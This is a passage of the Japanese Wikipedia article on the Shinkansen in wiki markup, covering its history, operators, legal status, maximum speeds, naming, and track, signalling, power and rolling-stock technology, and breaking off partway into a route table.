[[長野駅]]間の開業であり北陸には到達していなかったため、駅や時刻表などでの案内上は「長野行新幹線」、のちに「[[長野新幹線]]」の呼称が用いられた。2015年(平成27年)3月14日に金沢駅まで延伸されたため、案内上も正式名称の「北陸新幹線」となった。</ref>・[[九州新幹線|九州(鹿児島ルート)]]・[[北海道新幹線|北海道]]・[[西九州新幹線|西九州]]([[九州新幹線 (整備新幹線)#西九州ルート|九州〈西九州ルート〉]]の一部)の4路線が開業し、加えて従来のJR線([[在来線]])と新幹線とで直通運転を行う[[ミニ新幹線]](法令上は標準軌の在来線。詳細後述)として[[山形新幹線|山形]]・[[秋田新幹線|秋田]]の2路線が開業しており、新幹線網の拡大は半世紀にわたって続けられている。[[2023年]](令和5年)現在も北海道・北陸・[[中央新幹線|中央]]の各新幹線が建設中である。
[[2023年]](令和5年)の時点で、フル規格8路線(合計2,830 km)とミニ新幹線2路線(合計276 km)が営業中で、2015年度(平成27年度)の年間利用者数は3億6000万人に上る<ref>{{Cite journal ja-jp|author=国土交通省総合政策局情報政策課交通経済統計調査室|year=2016|http://www.mlit.go.jp/k-toukei/10/annual/n2-1sokatsu.xls|format=Excel|journal=鉄道輸送統計年報|issue=28|serial=平成27年度分|publisher=国土交通省}}</ref>。
高速度での都市間輸送を前提としており、在来線と異なる規格([[軌間]]・[[線形 (路線)|線形]]・[[架線]]電圧など)を採用するなど、様々な技術的特徴がある([[#主要技術]]参照)。走行する車両も[[空気力学|空力]]や低[[騒音]]に配慮した、[[流線形車両|流線形]]の外形を採用し高出力の[[電動機|モーター]]を搭載した専用の[[電車]]([[新幹線車両]])が用いられている。こうした技術投入の結果、定時性が極めて高く、年間13万本以上の列車が運転される東海道新幹線でも平均遅延時間は24秒に留まる(2016年度)。また50年以上に渡る新幹線の歴史の中で、車両や線路の施設や設備の異常、運行側の不手際等に起因する乗客等の死亡事故は一度も発生していない([[#安全性]]参照)。
=== 建設 ===
新幹線建設の[[計画]]([[建設を開始すべき新幹線鉄道の路線を定める基本計画]])は[[全国新幹線鉄道整備法]]第4条の規定に基づき[[国土交通大臣]]が決定するものと定められている<ref>{{Egov law|345AC1000000071#11|全国新幹線鉄道整備法(昭和45年法律第71号)第4条}}</ref><ref name="haraguchi_p19-20">『[[#原口 (2005)|読む・知る・愉しむ 新幹線がわかる事典]]』、p.19 - p.20。</ref>。
全国新幹線鉄道整備法施行以前の新幹線路線の建設[[工事]]については、東海道新幹線・[[山陽新幹線]]は事業主体である[[日本国有鉄道]](国鉄)が建設主体でもあった。全国新幹線鉄道整備法施行後は同法第6条の規定に基づき国土交通大臣が営業主体及び建設主体を指名することになっており、[[東北新幹線]]は国鉄が建設主体であった<ref name="haraguchi_p53">『[[#原口 (2005)|読む・知る・愉しむ 新幹線がわかる事典]]』、p.53。</ref>が、[[上越新幹線]]は[[日本鉄道建設公団]]が建設主体となった<ref name="haraguchi_p53"/>。[[国鉄分割民営化]]後の東北・上越新幹線東京延伸の際は、当時新幹線の地上設備を一括して所有していた<ref>『[[#原口 (2005)|読む・知る・愉しむ 新幹線がわかる事典]]』、p.65。</ref>[[新幹線鉄道保有機構]]が建設主体であった<ref>『[[#原口 (2005)|読む・知る・愉しむ 新幹線がわかる事典]]』、p.67。</ref>。さらにその後に建設された[[北陸新幹線]]や[[九州新幹線]]などのいわゆる[[整備新幹線]]については、日本鉄道建設公団および新幹線鉄道保有機構の権利を継承した[[鉄道建設・運輸施設整備支援機構]]が建設主体となっている。なお、[[超電導リニア]]方式を採用する[[中央新幹線]]については[[東海旅客鉄道]](JR東海)が建設主体に指名された。
=== 運営 ===
運営は1964年(昭和39年)の開業から[[1987年]](昭和62年)の[[国鉄分割民営化]]までは国鉄が行っており、国鉄の事業が[[JR]]各社に譲渡されて以降は、東北・上越新幹線を[[東日本旅客鉄道]](JR東日本)、東海道新幹線を[[東海旅客鉄道]](JR東海)、山陽新幹線を[[西日本旅客鉄道]](JR西日本)が運営を行っている。JR移行後に開業した整備新幹線では、北陸新幹線をJR東日本とJR西日本が、九州・西九州新幹線を[[九州旅客鉄道|JR九州]]が、北海道新幹線を[[北海道旅客鉄道|JR北海道]]が運営を行っている。なお、[[四国旅客鉄道|JR四国]]はこれまで新幹線の運営に携わったことがない。
=== 法的な位置づけ ===
冒頭で述べたとおり、全国新幹線鉄道整備法では、新幹線鉄道を「その主たる区間を列車が200[[キロメートル毎時]](以降km/hと記す)以上の高速度で走行できる幹線鉄道」(第2条)と定義している<ref>[https://elaws.e-gov.go.jp/document?lawid=345AC1000000071 全国新幹線鉄道整備法(昭和45年5月18日法律第71号)第2条] - 総務省 e-Gov検索</ref>。「その主たる区間」であるから、局所的に200 km/h未満の速度でしか走行できない区間が存在しても新幹線鉄道である。新幹線を法律で定義しているのは、在来線とは異なる運転規則や構造規則(いずれも省令)が必要なためである。
列車の運行を妨げる行為に対しては、一般の鉄道でも[[鉄道営業法]]や[[刑法 (日本)|刑法]]などに規定があるが<ref name="haraguchi_p25-26">『[[#原口 (2005)|読む・知る・愉しむ 新幹線がわかる事典]]』、p.25 - p.26。</ref>、それに加えて、[[新幹線鉄道における列車運行の安全を妨げる行為の処罰に関する特例法]](新幹線特例法)などによって、より厳しい法的措置が定められている<ref name="haraguchi_p25-26"/>。
なお、一般に[[ミニ新幹線]]として称され、時刻表にも新幹線(の一部)として記載されている[[山形新幹線]]・[[秋田新幹線]]は、[[在来線]]を[[改軌]]して対応する一部の新幹線列車が走行できるようにしたものであり、目視による安全確認を要する信号機とATSの組み合わせによる列車防護、踏切道の存在など、新幹線鉄道構造規則に準じた構造(後述の「[[#路線・軌道設備|路線・軌道設備]]」を参照)とはなっておらず<ref name="haraguchi_p19-20"/>、全国新幹線鉄道整備法上の新幹線鉄道には含まず、在来線の扱いとなっている(後述の「[[#在来線との直通|在来線への直通]]」並びに両路線の記事を参照)。
{{-}}
=== 最高速度 ===
これまでに建設された新幹線は、ミニ新幹線を除き1964年(昭和39年)に開業した東海道新幹線から全て設計最高速度260 km/hで建設されている<ref>'''東北新幹線工事'''誌-上野・大宮間-</ref>が、開業時から260 km/h運転を実施するようになったのは1997年(平成9年)10月1日開業の北陸新幹線(当時の通称は[[長野新幹線]])からである。
{|class="sortable wikitable" style="font-size:90%"
|+日本の新幹線の営業最高速度
!rowspan="2"|開業年月日!!rowspan="2"|路線!!rowspan="2"|[[全国新幹線鉄道整備法|全幹法]]<br />の分類!!rowspan="2"|通称!!colspan="2"|最高速度
|-
!開業時!!2023年現在
|-
|[[1964年]](昭和39年)[[10月1日|10月{{0}}1日]]||[[東海道新幹線]]||rowspan="4"|新幹線||rowspan="4"|新幹線||rowspan="4"|210 km/h||285 [[キロメートル毎時|km/h]]<!--([[2015年]][[3月14日]] - )-->
|-
|[[1972年]](昭和47年)[[3月15日|{{0}}3月15日]]||[[山陽新幹線]]||300 km/h<!--([[1997年]][[3月22日]] - )-->
|-
|[[1982年]](昭和57年)[[6月23日|{{0}}6月23日]]||[[東北新幹線]](盛岡駅以南)||320 km/h([[宇都宮駅]] - [[盛岡駅]]間)<!--([[2013年]][[3月16日]] - )-->
|-
|1982年(昭和57年)[[11月15日]]||[[上越新幹線]]||275 km/h<!--([[2023年]][[3月18日]] - )-->
|-style="background:silver"
|[[1992年]](平成{{0}}4年)[[7月1日|{{0}}7月{{0}}1日]]||[[山形新幹線]]||rowspan="2"|[[在来線]]||rowspan="2"|[[ミニ新幹線]]||rowspan="2"|130 km/h||rowspan="2"|130 km/h
|-style="background:silver"
|[[1997年]](平成{{0}}9年)[[3月22日|{{0}}3月22日]]||[[秋田新幹線]]
|-
|1997年(平成{{0}}9年)10月{{0}}1日||[[北陸新幹線]](長野駅以南)<ref group="注" name="Nagano-Hokuriku"/>||rowspan="6"|新幹線||rowspan="6"|[[整備新幹線]]|| rowspan="6" |260 km/h|| rowspan="6" |260 km/h
|-
|[[2002年]](平成14年)[[12月1日|12月{{0}}1日]]||東北新幹線(盛岡駅以北)
|-
|[[2004年]](平成16年)[[3月13日|{{0}}3月13日]]||[[九州新幹線]]
|-
|[[2015年]](平成27年)[[3月14日|{{0}}3月14日]]||[[北陸新幹線]](長野駅以北)
|-
|[[2016年]](平成28年)[[3月26日|{{0}}3月26日]]||[[北海道新幹線]]
|-
|[[2022年]](令和{{0}}4年)[[9月23日|{{0}}9月23日]]||[[西九州新幹線]]
|-
|2027年(令和{{0}}9年){{0}}予定||[[中央新幹線]]||[[磁気浮上式鉄道|リニア]]新幹線||(建設中) ||505 km/h<ref>{{PDFlink|[https://www.mlit.go.jp/common/000145486.pdf 中央新幹線の整備計画の決定について]}} - [[国土交通省]]、2011年5月26日。</ref>||
|}
{{Main2|詳細な路線一覧は「[[#路線|路線]]」節を}}
=== 呼称 ===
「新幹線」という呼称は、かつての[[鉄道省]]が東京と下関を結ぶ高速鉄道計画に対して、遅くとも1939年(昭和14年)の時点で用いていた用語である<ref name="trafficnews20180418">{{Cite web|和書|url=https://trafficnews.jp/post/80240|author=草町義和|website=乗りものニュース|title=「新幹線」大正時代からあった? 意味が変わった言葉の歴史|publisher=メディア・ヴァーグ|date=2018-04-18|accessdate=2022-09-13}}</ref>(ただし、この計画については当時の世相を踏まえて「[[弾丸列車]]」と呼ばれることの方が多かった)。さらに以前の大正期には「新しい幹線交通」を指す用語として「新幹線」の用語が用いられていたという{{R|trafficnews20180418}}。
法律上、最初に「新幹線鉄道」の語が現れるのは、昭和39年6月22日法律第111号「[[:s:東海道新幹線鉄道における列車運行の安全を妨げる行為の処罰に関する特例法|東海道新幹線鉄道における列車運行の安全を妨げる行為の処罰に関する特例法]]」(現「新幹線鉄道における列車運行の安全を妨げる行為の処罰に関する特例法」)である。東海道新幹線は[[在来線]]である[[東海道本線]]の線増として建設されたために「東海道新幹線鉄道」とされた。
『新幹線』という名称は、東海旅客鉄道・東日本旅客鉄道・西日本旅客鉄道の3社名義にて、複数の分野で[[商標|商標登録]]されている。例えば「鉄道による輸送」では第3066558号である。
日本国内の駅内の案内板等の[[英語]]表記では、路線を指す場合は「しんかんせん」のローマ字表記である '''{{en|Shinkansen}}''' を使用し、列車名(便名)を表す場合は、各駅に停車する列車も含め、かつて「[[ひかり (列車)|ひかり]]」の種別として用いられていた「[[超特急]]」の直訳である '''{{en|Superexpress}}''' を愛称名の後ろに付けて「{{en|NOZOMI Superexpress}}」などと表現している。これは特急([[特別急行列車]]、{{en|Limited express}})と[[急行列車]]({{en|Express}})を異なる種別として認識し、さらに新幹線を(通常の)特急とも区別しようとする日本独特の表現とも考えられる<ref>{{Cite web|url=https://toyokeizai.net/articles/-/128008?page=2|title=外国人に通じる?列車内や駅の英語表現10選 「山手線内回り」は英語でなんと言えばいい?(2/4ページ)|author=[[野田隆]]|website=[[東洋経済新報社|東洋経済オンライン]]|date=2016-07-21|accessdate=2022-09-18}}</ref>。
日本国外において新幹線について言及する際は「{{en|Shinkansen}}」と表記される一方で、戦前からの計画名称である「弾丸列車」の直訳である「[[:en:Bullet train|Bullet train]]」の表現を用いることがある。例えば、[[1975年]](昭和50年)に日本で公開され、翌年[[アメリカ合衆国|アメリカ]]で公開された映画『[[新幹線大爆破]]』の英題の1つも ''"[[:en:The Bullet Train|The Bullet Train]]"'' であり、2022年公開の新幹線を舞台にしたブラッド・ピット主演の映画タイトルも「[[ブレット・トレイン]]」''(Bullet Train)'' である)。
== 主要技術 ==
新幹線鉄道は、その大部分の区間において200 km/hを超える速度で運行するため、[[在来線]]鉄道とは異なったさまざまな技術が用いられている。速度のみならず、乗り心地や安全面でも世界的に見ても非常に高い水準が確保されている。
=== 路線・軌道設備 ===
[[File:Shinkansen platform at Tokyo Station 2.jpg|thumb|250px|[[標準軌]] (1,435 mm)。]]
[[File:Tokaido Shinkansen sharp turn in Musashi-Kosugi 1.jpg|thumb|250px|東海道新幹線で最小の曲率半径500m<br />(品川 - 新横浜間・[[武蔵小杉駅]]付近)]]
[[File:Shinkansen high bridge.jpg|thumb|250px|新幹線の高架橋<br />([[上越新幹線]]回送線・[[新潟市]])]]
[[File:SHINKANSEN20150412.JPG|thumb|250px|踏切は設置せず、立体交差と防護柵で安全運行を図る<br />(東海道新幹線・名古屋市緑区)]]
[[File:Tokyo-Station-2005-7-21 4.jpg|thumb|250px|プラットホームの安全柵<br />(東海道新幹線・[[東京駅]])]]
* 路線は、在来線と別ルートで新規に建設した線路設備を用いる。設備の構造については省令の「新幹線鉄道構造規則」に規定されている。在来線を改良した[[ミニ新幹線]]と区別するため、「'''フル規格'''」とも呼ばれる。
** [[軌間]]は[[標準軌]] (1,435 mm) を用いている。ただし標準軌が「新幹線」の法的な条件というわけではなく<ref name="haraguchi_p20">『[[#原口 (2005)|読む・知る・愉しむ 新幹線がわかる事典]]』、p.20。</ref>、軌間に[[狭軌]] (1,067 mm) を用いつつ高速走行を可能とした「新幹線」もありえる<ref name="haraguchi_p20"/>、こうした方式の新幹線を[[新幹線鉄道規格新線]](スーパー特急)し、この方式で建設に着手された路線もある(ただしいずれも建設途中で標準軌規格に変更されており、スーパー特急方式で開業した新幹線路線は存在しない)。
** カーブにおける[[曲率半径]]を大きくし、できる限り直線を確保する。本線区間における最小曲率半径は[[東海道新幹線]]が2,500 m<ref name="kosoku_p59">『[[#高速鉄道研究会 (2003)|新幹線 高速鉄道技術のすべて]]』、p.59。</ref><ref name="sato_p162">『[[#佐藤 (2004)|新幹線テクノロジー]]』、p.162。</ref>、[[山陽新幹線]]以降に建設された各線は4,000 m<ref name="kosoku_p59"/><ref name="sato_p162"/>となっている。ただし、用地や地形の関係から急曲線とならざるを得ない区間では、その区間の列車速度により曲率半径400 mまで許容されている。さらに推定脱線係数比が一定以上か、[[脱線防止ガード]]を設置することで200 m以上の曲率半径をとることもできる。東海道新幹線の東京 - 新横浜間や東北新幹線の東京 - 大宮間のような都心部区間は、曲率半径が400 mから2,000 m程度の急曲線が含まれている。
** 勾配は高速走行の妨げになることから最急勾配を15 [[パーミル|‰]]までとするが、延長2.5 km以内に限り18 ‰・2.0 km以内に限り20 ‰とする。用地や地形の関係から規定以上の勾配を必要とする区間では特別認可の形で設置されており、東北新幹線東京 - 大宮間では25 ‰、北陸新幹線では30 ‰、[[九州新幹線|九州新幹線鹿児島ルート]]では35 ‰の勾配が含まれている。
* 事故防止のため以下の設計を行う。
** 自動車との衝突事故を防ぐため、[[踏切]]を一切設けない。
** 線路内に一般の人が立ち入れないようにする。前項も含めた対策として全線立体交差とする。また、列車の運行妨害等に対しては法律面でも「[[新幹線鉄道における列車運行の安全を妨げる行為の処罰に関する特例法|新幹線特例法]]」によって在来線より厳しい罰則を定めている。
** 通過列車との接触など人身事故を防ぐため、[[プラットホーム]]に可動ゲート付きの安全柵(以下、[[ホームドア]])を設ける(例:[[新横浜駅]]や[[新神戸駅]]など)か、通過線と待避線を分ける(例:[[静岡駅]]、[[福島駅 (福島県)|福島駅]]など)。ただし、通過列車の通過速度が低い駅(例: [[上野駅]])には安全柵のみ設けられているか、安全柵が設けられていない場合もある。また、東海道新幹線・山陽新幹線の[[東京駅]]や[[名古屋駅]]、[[京都駅]]、[[新大阪駅]]、[[岡山駅]]、[[広島駅]]、[[小倉駅 (福岡県)|小倉駅]]、[[博多駅]]など、全列車が停車する駅には当初柵などは設けられてはいなかったが、後に安全柵ならびに一部の駅でホームドアが設けられた。また、東海道新幹線では、静岡駅や[[浜松駅]]など、通過線と待避線が分かれていながら安全柵が設置されている駅もある。九州新幹線鹿児島ルートでは全列車が停車する[[熊本駅]]、[[鹿児島中央駅]]や通過列車が使用しない副本線のホームも含め、開業当初から全ての駅の全てのホームにホームドアが設置されている。東北新幹線の[[新青森駅]]でも全てのホームにホームドアが設置されている。
** 東北新幹線の[[盛岡駅]]以南では、ミニ新幹線で使われている在来線規格の車両とフル規格対応のホームとの間に隙間が生じるため、駅停車時にホーム側へ張り出すステップを車両に設置したり、ホームにドア付近以外での転落を防止するための安全柵を設けたりする対策がなされている。
* 乗り心地や安全性の向上、騒音対策などから、[[軌条|レール]]や[[分岐器]](ポイント)にもさまざまな工夫が施されている。
** レールは、継ぎ目の数を減らした[[軌条#ロングレール|ロングレール]]を使用。[[東北新幹線]]の[[いわて沼宮内駅]] - [[八戸駅]]間には、国内最長の延長約60.4 kmにわたる「スーパーロングレール」が用いられている。
** 分岐器(ポイント)は、通過時の[[振動]]が少ない[[分岐器#弾性ポイント(弾性分岐器)|弾性分岐器]]と、レール交差部の欠線部を埋めるノーズ可動クロッシングを使用。また、[[高崎駅]]北方にある[[上越新幹線]]と[[北陸新幹線]]との分岐には、分岐側を160 km/hで通過できる国内最高水準かつ最長の分岐器が設置されている。
* 新幹線の駅間距離は、中距離・長距離輸送を主とすることから、原則として在来線より長く取られている(30 - 40 km程度)。
*高速運転で駅間距離が長く、より迅速で的確に情報伝達を行うため、[[列車無線]]を開業当初から採用している。
=== 信号システム ===
* 地上装置と車上装置からなる[[自動列車制御装置]] (ATC) と[[列車集中制御装置]] (CTC) を備えている<ref name="kosoku_p148-149"/>。ATCは、地上装置に沿線の20-30kmの間隔に信号機器室を設けて、そこから信号ケーブルを介して[[軌道回路]]に信号電流を流し、車上装置にそれを受電器で受信して運転室内に運行指示(許容速度)が表示され<ref group="注">軌道回路には1000Hzの高周波を搬送波として流している、地上装置は開業当初のものである。</ref><ref name="kosoku_p148-149"/>、その速度を超えれば自動的にブレーキが作用するもので<ref name="kosoku_p148-149"/>。自動ブレーキが作動するのは営業最高速度やカーブなどの速度制限を超えようとした時、先行列車に接近した時、駅に停車するために減速する時などである。駅停車時は15 - 75 km/h以下の低速時になると手動でブレーキ弁を操作して列車を[[停止位置目標]]に停止させるが、目標の少し先で停止するようなパターンが作成されるか([[定位置停止装置|TASC]]ではない)、または目標の先方50 mで強制的に[[非常ブレーキ]]が掛かる区間になっており、[[オーバーラン|過走]]を防止している。これは地上の信号機を車上から目視確認して運転することは(気象状況によっては)困難となる<ref name="kosoku_p148-149">『[[#高速鉄道研究会 (2003)|新幹線 高速鉄道技術のすべて]]』、p.148 - p.149。</ref>ほどの高速運転を行うためである。また故障による影響を最小限とするため、同じ機能を持つシステムを3系統備えており、そのうち1系統が故障しても3者の多数決の原理で残った2系統で正常に作動し運転を続行できるようになっている<ref>『鉄道車両メカニズム図鑑』、p.256</ref>。
* CTCは、列車の位置と[[列車番号]]の表示や各駅の分岐器を[[運転指令所]]で一括管理と制御を行うもので、これですべての列車の運行状況を一括管理している。現在では[[列車運行管理システム]] (PTC) も導入されており、通常の分岐器操作や信号制御、[[駅自動放送]]から車両の管理整備、[[輸送障害]]時の復旧ダイヤの作成に至るまで、あらゆる業務がコンピュータによって高度にシステム化されている。
=== 電源方式 ===
* 単相[[交流]]25,000 [[ボルト (単位)|V]]で[[電力]]を供給する。饋電(きでん)方式については、東海道新幹線開業当初は[[BT饋電方式|BT方式]]であったが、現在では他の新幹線と共に[[AT饋電方式|AT方式]]に統一された。[[商用電源周波数|電源周波数]]は以下の通り。
** [[東海道新幹線]]では60 [[ヘルツ (単位)|Hz]]に統一して給電している。[[静岡県]]の[[富士川]]を境に50 Hz(東側)と60 Hz(西側)の電源周波数区分が異なるが、50/60 Hz を共用とした場合 約 2.7t の車体重量増加が見込まれ将来的な経済性なども考慮し<ref name=国松.1961>{{Cite journal|和書|author=国松賢四郎 |title=東海道新幹線の電気設備 |journal=電氣學會雜誌 |issn=0020-2878 |publisher=電気学会 |year=1961 |volume=81 |issue=879 |pages=2061-2064 |naid=130003617667 |doi=10.11526/ieejjournal1888.81.2061 |url=https://doi.org/10.11526/ieejjournal1888.81.2061}}</ref>、当初から山陽方面への延長を構想していたため全線で60 Hzに統一し、車両側の特高圧機器の簡素化を図っている。なお、電源周波数区分50 Hzの地域では[[変電所#特殊な変電所|周波数変換所]]が設けられ、新幹線電源用に60Hzに変換している。
** [[北陸新幹線]]は[[軽井沢駅]] - [[佐久平駅]]、[[上越妙高駅]] - [[糸魚川駅]]と糸魚川駅 - [[黒部宇奈月温泉駅]]の計3か所に50/60 Hzの切り替えセクションが存在<ref>[http://www.nikkei.com/article/DGXMZO83651200V20C15A2000000/3回変わる周波数・乗務員交代… 北陸新幹線「秘話」] 日本経済新聞、2020年9月21日閲覧</ref>し、車両側も50/60 Hzの双方に対応している。
** 上記以外の各新幹線は沿線地域と同じ電源周波数で、山陽・九州は60 Hz、東北・上越・北海道は50 Hz。
* いずれの電気方式においても、[[変電所]]間での[[位相]](北陸新幹線においては[[周波数]])の相違を解決する必要があるが、高速を維持するため連続力行運転を行うことから、変電所の饋電区間の境界は、在来線のように[[デッドセクション]](アーク発生防止のため惰行で通過する)ではなく、地上切替方式を採用している。切替区間は[[エアセクション|エアーセクション]]で区分され、その前後の変電所の双方から饋電でき、最初は進入側の変電所から饋電し、列車が切替区間に入ったことを検知すると進出側の変電所からの饋電に切り替える。この間はおよそ0.5秒程度であり、乗客が切替を感知することはほとんどない。
* 送電側の系統障害を避ける必要から<ref group="注">[[三相交流]]式の電源系統から単純に2線を引き出して単相の大電力を利用すると、三相交流側に不平衡な電圧が生じ逆相電流によって過熱などの障害が発生する危険性がある。</ref>、スコット結線[[変圧器]]や変形ウッドブリッジ結線変圧器、ルーフ・デルタ結線変圧器を用いて[[三相交流]]から90度位相の異なる2組の[[単相交流]]が作られ<ref name=国松.1961 />、それぞれ上り線と下り線に給電されている<ref>廣田幸嗣著、『電気自動車の本』、日刊工業新聞社、2009年11月25日初版1刷発行、ISBN 9784526063572、152頁</ref><ref>[http://www.jrtt.go.jp/02Business/Construction/const-rtHenden.html 変電] - 鉄道建設・運輸施設整備支援機構(2012年1月24日閲覧)</ref>。変電所の設置間隔は約 20 km 毎である<ref name=国松.1961 />。
=== 車両技術 ===
{{main|新幹線車両}}
[[File:Shinkansen-0 300 700.JPG|thumb|280px|[[東海道新幹線|東海道]]・[[山陽新幹線]]歴代車両。<br/>左から[[新幹線700系電車|700系]]、[[新幹線300系電車|300系]]、[[新幹線0系電車|0系]]]]
新幹線では、動力を編成各車両に分散させる「[[動力分散方式]]」が採用されている。動力分散方式を採用することにより、[[電車]]方式と同様の、加減速性能の向上・軽量化・軌道への負荷軽減といった利点が追求されている。 また高速走行を行うため、列車編成内における電動車([[動力車]])の比率([[MT比]])が極力大きくされている。[[ブレーキ]]は主[[電動機]]の発電抵抗を利用する[[電気ブレーキ]]と、空気圧動作の摩擦による基礎ブレーキを併用するが、高速域からの減速には主に電気ブレーキが使用される。こうすることによって[[制輪子]]の磨耗を抑え、交換周期を延ばすことができる。
また、車両には気密構造が採用されている。高速運転時に[[トンネル]]に進入するなどの気圧変動による居住性の低下を防ぐためである。また、0系や[[新幹線100系電車|100系]]など国鉄時代の東海道・山陽新幹線車両では車体の素材に[[炭素鋼|普通鋼]]が使われていたためやや重かったが、東北・上越新幹線用の[[新幹線200系電車|200系]]からは耐雪装備による重量増加を抑えるため[[アルミニウム合金|アルミニウム]]が用いられて軽量化が図られた。国鉄民営化後に開発された新幹線車両はアルミニウム車体が一般化、さらにアルミ材の加工手法の発達により、製作費のコストダウンとさらなる軽量化の両立が図られた。この結果、国鉄時代に開発された初期新幹線車両より著しく軽量化されている。
一方で、JR発足以降積極的に行われた高速化に伴い、走行中の[[集電装置|パンタグラフ]]と[[架線]]の接触や風切り音による騒音の発生や、接触部の著しい消耗などが問題とされた。このため、0系では2両おきに付いていたパンタグラフが300系では8両毎に1つに減ったほか、[[新幹線500系電車|500系]]では翼型と呼ばれるT字型の特殊な集電装置が設置されるなど改良され、騒音を抑えながら集電効率を向上させた。また、パンタグラフに流線型の突起物を取り付けるなどの改良も加えられた。その他、高速でのトンネルの突入時のトンネル内部の急激な気圧変化による騒音([[トンネル微気圧波]])の発生を抑えるための、走行時の空気の流動性やトンネル進入時の面積変化率を考えた先端車両の開発などが行われているため、初期の0系に比べ先頭車先端部が長く伸ばされるとともに、通常の電車とは著しく異なった形態(鋭い流線型や[[カモノハシ]]のような形)を呈する傾向にある。
=== 列車防護装置 ===
高速走行を行うため、在来線と同じ[[信号炎管]]や軌道短絡器による列車防護(他の列車を停止させること)では他の列車が停止しきれない可能性が高まる。そのため、緊急時に他の列車を迅速に停止させられるように在来線とは異なる列車防護の方式が採られている。
* 車両側には[[保護接地スイッチ]] (EGS) が装備され、緊急時には乗務員が運転台の「保護接地入スイッチ」を押すことにより、他の列車を自動的に停止させることができる。
* 線路側には'''列車防護スイッチ'''が、本線上には250 m間隔、ホーム上には50 m間隔で設置され、これを押すことでATC回路を停止信号にすることができる。
* [[列車防護無線装置]]は車両には受信機のみが装備され、発信器は保線作業中に線路を支障させた場合、保安方式変更などでATCを使用していない列車を停止するため[[保線]]係員が携帯している。
== 在来線との直通 ==
前述のとおり、新幹線は軌間や電圧、運行管理システムなど在来線と異なる技術基準が多く採用されており、基本的には他国の[[高速鉄道]]で行われているような在来線との直通運転はできない。しかし、新幹線列車を在来線に直通運転させる、あるいは在来線列車を新幹線規格の路線に走行させて利便性を確保しようとする研究が行われている。
;[[ミニ新幹線]]
:現在唯一実用化されている技術で、全国新幹線鉄道整備法附則第6項第2号に定めるところの「'''新幹線鉄道直通線'''」、すなわち既存の鉄道路線に敷設された線路が新幹線と接続し、かつ新幹線の列車が省令で定める速度で走行できる構造を有する路線であり、[[在来線]]の線路を新幹線のものと同じ標準軌に改軌改良し、在来線の[[車両限界]]に合わせ、在来線の安全基準にも合致した車両で新幹線との直通運転を行う方式。[[山形新幹線]]の福島駅以北並びに[[秋田新幹線]]の盛岡駅以西がこれに該当する。
:新幹線区間と標準軌在来線を直通する特急列車を'''[[新幹線直行特急]]'''という。
:この方式で標準軌に改軌改良された在来線区間は、以下のような特徴がある。
:* 法律や設備などの上では新幹線ではなく在来線である。ただし、営業上・案内上では「山形新幹線」「秋田新幹線」といった「新幹線」の呼称が用いられる。営業戦略上と地元への誘致効果がその理由である<ref>井上孝二著『新幹線が一番わかる』技術評論社、2009年2月29日初版第1冊発行、ISBN 978-4774137315</ref>。
:* 最高速度は130 km/hに制限されている<ref>全国新幹線鉄道整備法施行規則(昭和45年運輸省令第86号)附則第3項</ref>。
:* 完全立体交差化は行わず、踏切数を削減すると共に保安設備を強化している。
:* ミニ新幹線化された区間の全区間が改軌前より50 Hz・20,000 V[[交流電化]]された区間であったため、改軌後もこれをそのまま採用し、電圧は20,000 Vのままである。直通車両は[[複電圧車|複数電源対応]]としている。この場合の異電圧区間の接続は[[デッドセクション]]となっている。
;[[軌間可変電車|フリーゲージトレイン]]
:車両側の台車を1067 mm軌間と1435 mm軌間の両方に対応させる方式。
:[[鉄道総合技術研究所]](JR総研)により開発が進められているが、高速運転を前提とした導入には技術的障壁が多いことが明らかになっており(当該記事参照)、導入に至っていない。
;[[新幹線鉄道規格新線]](スーパー特急)
:全国新幹線鉄道整備法附則第6項第1号に定められた方式で、新幹線規格の路盤上に在来線と同じ[[狭軌]](1067mm軌間)の軌道を敷設する方式。200 km/hでの走行が可能とされ、在来線との直通が容易と考えられる。
:これまでいくつかの整備新幹線がこの方式で着工されたが、建設途中ですべて標準軌(フル規格)に変更されて建設されたため、現段階においてはこの方式を採用した路線は存在しない。
なお、[[北海道新幹線]]のうち[[青函トンネル]]とその前後区間は、フル規格の新幹線路線に狭軌を併設した[[三線軌条]]とした上で、新幹線規格の電圧・信号システムに対応した在来線車両([[JR貨物EH800形電気機関車|EH800形機関車]]など)が走行できる「在来線([[海峡線]])との共用区間」として取り扱っている。
== 路線 ==
[[ファイル:Shinkansen map 201703 ja.png|thumb|300px|新幹線の路線図]]
まず1964年に[[東海道新幹線]]が開業し、これを延長する形で[[山陽新幹線]]の工事も始まり、1975年に[[博多駅]]まで全線開業した。
そして1970年には[[全国新幹線鉄道整備法]]が定められた。これによりまず[[東北新幹線|東北]]・[[上越新幹線|上越]]・[[成田新幹線|成田]]の各新幹線の整備計画が決定し、続いて[[北海道新幹線]]、東北新幹線( [[盛岡市]]- [[青森市]]間)、[[北陸新幹線]]、[[九州新幹線]][[九州新幹線|鹿児島ルート]]、[[九州新幹線 (整備新幹線)#西九州ルート|同長崎ルート(西九州ルート)]]の5線の整備計画も決定された([[整備新幹線]])。
整備新幹線以前に計画された路線は、計画が失効した成田新幹線を除き開業しており、整備新幹線の一部も開業している。しかしその一方で、[[建設を開始すべき新幹線鉄道の路線を定める基本計画|基本計画]]が定められたまま着工の目処が全く立っていない路線も存在する。
東海道新幹線と山陽新幹線を併せて「[[東海道・山陽新幹線]]」、東北新幹線と上越新幹線を併せて「東北・上越新幹線」と呼ぶことがある。東海道・山陽新幹線は国鉄時代は一体的な運用がなされており、民営化後も多くの列車の相互直通運転が行われているため一括して扱われることが多い。1982年に東北・上越新幹線が開業するまでは単に「新幹線」と呼ばれることもあった。東北・上越新幹線は1982年に相前後して開業した東側のフル規格新幹線で、東海道・山陽新幹線のような一体的な運用はないが、一部の区間を共用するほか、車両やATCなどの運行システムが共通である。
このほか、東海道・山陽新幹線にならって相互直通運転がなされている新幹線同士を総称し、「東海道・山陽・九州新幹線」、「山陽・九州新幹線」、「東北・北海道新幹線」、「北海道・東北新幹線<ref>[https://r.nikkei.com/article/DGXMZO25468500Z00C18A1L41000?s=1 JR北など、北海道・東北新幹線の半額切符] 日本経済新聞電子版 2018-04-17閲覧</ref>」と呼ぶことがある。
{{-}}
=== 営業中の路線 ===
==== 標準軌新線(フル規格) ====
以下の8路線が開業している。北陸新幹線・北海道新幹線・西九州新幹線は一部分のみの開業である。
{| class="wikitable" style="font-size:82%;"
|-
!名称!!起点!!終点!![[営業キロ]]!!実キロ!!駅数!!開業年月日!!運営会社
|-
![[北海道新幹線]]<ref group="*">北海道新幹線の新中小国信号場 - 木古内駅間(82.0 km)は海峡線と共用。</ref>
|[[新青森駅]]
